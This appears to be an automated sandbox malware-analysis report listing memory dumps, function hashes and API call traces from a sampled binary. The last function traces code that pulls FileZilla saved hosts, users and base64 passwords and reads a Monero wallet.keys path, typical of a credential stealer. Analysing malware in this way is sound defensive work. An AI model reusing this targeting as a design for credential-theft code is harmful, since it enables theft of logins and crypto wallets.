Associated: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ay
API String ID: 0-3544545429
Opcode ID: 24866636bc1ce9cc1a9885269cdb12921cb5b68b54f3c703d73fa38d723dd989
Instruction ID: 5665a42dc3f4d1a857868dd029b8fb87ab66d2576cd4ce120e1153f990b178fe
Opcode Fuzzy Hash: 24866636bc1ce9cc1a9885269cdb12921cb5b68b54f3c703d73fa38d723dd989
Instruction Fuzzy Hash: 5B514EF3B1C7045BE3086E29EC95BBAFBD9DBD4324F1A453DE984D7380E97A58008651

Function 00CCC94A Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

JG7/, xrefs: 00CCC9B8

Memory Dump Source

Source File: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: JG7/
API String ID: 0-2616090989
Opcode ID: c5933db55820e759e25e92b1321713b92ee5a9d0fdb89571a8dc15a42a42da12
Instruction ID: c38afa4a07c3fb7010255c7479c880fe8593afe83e8bfef77f919926d6780fc9
Opcode Fuzzy Hash: c5933db55820e759e25e92b1321713b92ee5a9d0fdb89571a8dc15a42a42da12
Instruction Fuzzy Hash: A4319EB26183049FE308BE29EC8677AF7E5EF50750F06892DE5C6C2340EA7568848B17

Function 00CBB093 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e8b8cf3f0b0c9324e1831aa445beabc300c3f73838fb8d28e573c59a8f3f494
Instruction ID: 4ae43da7db2ad0074cbfe05fdcca5c69f341f0ab789a54d201c95e5b46b3b421
Opcode Fuzzy Hash: 5e8b8cf3f0b0c9324e1831aa445beabc300c3f73838fb8d28e573c59a8f3f494
Instruction Fuzzy Hash: B55147F3F442155BE308592DEC99766B6CA9B94320F2B023EDA89E73C0ED799C0142D6

Function 00D7C3FA Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9a857b1af9e772554093859242b57c4ccefc60f823529e6be77aab5e75d8096
Instruction ID: 0d4e0d407ad755a755362be267a0f476b2858aa761f92625296217e1365a5a04
Opcode Fuzzy Hash: b9a857b1af9e772554093859242b57c4ccefc60f823529e6be77aab5e75d8096
Instruction Fuzzy Hash: AE51E3F3A182149FF304AE29DCD577AB7D6EF94320F2A453DEBC887380D97958058652

Function 00E956FC Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 494f22706f1cf44520f8cae987972a6c33d5001426ba8ebcaa90c9eafaa20395
Instruction ID: 2c355adaa13307d49d6df4ef7dab26c571763e99c20352482abd5a961d493094
Opcode Fuzzy Hash: 494f22706f1cf44520f8cae987972a6c33d5001426ba8ebcaa90c9eafaa20395
Instruction Fuzzy Hash: C95118F360CA04DFEB16AE69EC45ABE77D5EB80310F26493FD6C296208FA3155419743

Function 00D886F4 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e6192480a4ba7eaa3d3561d4839ec40af5e2e172957edd4d4ee23f61aff591b
Instruction ID: 6ac20f088f6430c27769ba74d6b56c75fb4036c122201eadd1371daaf5739099
Opcode Fuzzy Hash: 2e6192480a4ba7eaa3d3561d4839ec40af5e2e172957edd4d4ee23f61aff591b
Instruction Fuzzy Hash: 195137B3A0C3145FF314AA2DDC85BBAB7D5EFD0320F16453DE6C883780EA7558018696

Function 00D927D8 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee418d9b9a1f70447a592880affc5d9a471d5faa1c1455a638d85c165adc6729
Instruction ID: d65c148ce3d28ae4ef17b4a076cee3470a8b0a056e193e9093fed9c1d64a0d5b
Opcode Fuzzy Hash: ee418d9b9a1f70447a592880affc5d9a471d5faa1c1455a638d85c165adc6729
Instruction Fuzzy Hash: CB41F3F3A092108FE3046E69DD8177AB7E6EF94320F16493DDAC487384EA7D49458B86

Function 00E5F219 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a21340e4257d7d9766eb2ad392c71ea44d283a6ec323861319b5ab5b431004d9
Instruction ID: d546f7bf6c64566f2220477dff0f27082e55bde32a5ea58b4527a92233c46ee1
Opcode Fuzzy Hash: a21340e4257d7d9766eb2ad392c71ea44d283a6ec323861319b5ab5b431004d9
Instruction Fuzzy Hash: 0B3102B790D624DBD3012A68DD053BABBE4EB04722F26093DEFC9A3600E531994897C3

Function 00E17972 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45d4bc0c536b62ab929d679821c7df158857a7592faae704713279463b9d2ff1
Instruction ID: 4ebac6be0ecea4115c725726c6cd446eacba26aa207db16d4b4cf980afe592c8
Opcode Fuzzy Hash: 45d4bc0c536b62ab929d679821c7df158857a7592faae704713279463b9d2ff1
Instruction Fuzzy Hash: 83313AF350C6009FD3056E28DC85BFEB7E8DF88720F660A2DEAC6E7340D535598196A6

Function 00CA26D9 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2299817339347d101605c63358f01b319696207caad08239fb3c724ffd95abf
Instruction ID: 79948babad198fdb6e6b17ab73e6d369ddc46571695a751056566bb3a44342d0
Opcode Fuzzy Hash: a2299817339347d101605c63358f01b319696207caad08239fb3c724ffd95abf
Instruction Fuzzy Hash: D73159B3B086145FE358AD79EC54377B797EBD0320F29863ED98187388FD7558068181

Function 00E2BDD6 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 868f190debea4ce6f0f44bcf4b9b8696c26163b82fef49deeb13fb719e682882
Instruction ID: 3c18c07e42b8b845b68df81ab1714e61901f51e6ae538b65fd6d83e119cb92f5
Opcode Fuzzy Hash: 868f190debea4ce6f0f44bcf4b9b8696c26163b82fef49deeb13fb719e682882
Instruction Fuzzy Hash: 092148B290C220AFE705AE68C84666EF7E5FF98350F06492CEAD5C3710D6359850CB97

Function 009F9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 009F0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

Part of subcall function 009F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 009F8E0B

Part of subcall function 009FA920: lstrcpy.KERNEL32(00000000,?), ref: 009FA972
Part of subcall function 009FA920: lstrcat.KERNEL32(00000000), ref: 009FA982

Part of subcall function 009FA8A0: lstrcpy.KERNEL32(?,00A00E17), ref: 009FA905

Part of subcall function 009FA9B0: lstrlen.KERNEL32(?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009FA9C5
Part of subcall function 009FA9B0: lstrcpy.KERNEL32(00000000), ref: 009FAA04
Part of subcall function 009FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 009FAA12

Part of subcall function 009FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 009FA7E6

Part of subcall function 009E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009E99EC
Part of subcall function 009E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 009E9A11
Part of subcall function 009E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 009E9A31
Part of subcall function 009E99C0: ReadFile.KERNEL32(000000FF,?,00000000,009E148F,00000000), ref: 009E9A5A
Part of subcall function 009E99C0: LocalFree.KERNEL32(009E148F), ref: 009E9A90
Part of subcall function 009E99C0: CloseHandle.KERNEL32(000000FF), ref: 009E9A9A

Part of subcall function 009F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 009F8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00A00DBA,00A00DB7,00A00DB6,00A00DB3), ref: 009F0362
RtlAllocateHeap.NTDLL(00000000), ref: 009F0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 009F0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A00DB2), ref: 009F0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 009F03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A00DB2), ref: 009F03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 009F0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A00DB2), ref: 009F0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 009F0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A00DB2), ref: 009F0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A00DB2), ref: 009F0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A00DB2), ref: 009F051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A00DB2), ref: 009F0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A00DB2), ref: 009F054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 009F0562
lstrcat.KERNEL32(?,profile: null), ref: 009F0571
